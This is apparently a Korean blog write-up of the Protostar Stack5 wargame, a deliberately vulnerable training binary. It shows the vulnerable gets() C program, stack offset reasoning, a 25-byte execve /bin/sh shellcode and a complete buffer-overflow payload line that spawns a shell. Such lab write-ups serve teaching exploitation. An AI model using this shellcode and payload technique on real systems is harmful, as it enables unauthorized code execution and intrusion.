ii4gsp

Exploit Exercises [Protostar - Stack5] 본문

시스템 해킹/Exploit Exercises - Protostar

Exploit Exercises [Protostar - Stack5]

ii4gsp 2020. 1. 16. 21:57
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

쉘을 획득하는 문제이다.

 

 

 

 

스택을 0x50 할당하였다 0x50은 10진수로 80이다 int argc, char **argv, char buffer[64]

세 변수의 크기를 더하면 72이다. 80 - 72 = 8

dummy는 8이다.

 

 

 

 

프로그램 종료 직전에 break point를 걸어주고 스택에 "A"를 100개 채워주었다.

값을 확인해보자

 

 

 

 

0xbffff93c를 ret 주소로 잡고 페이로드를 작성하겠다.

쉘 코드는 25byte 짜리를 사용하겠다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

buffer[64] + dummy[8] + sfp[4] + ret주소 + NOP * 100 + 쉘 코드[25byte]

 

 

 

 

payload

(python -c 'print "\x90" * 76 + "\x3c\xf9\xff\xbf"';cat) | ./stack5 $(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
Comments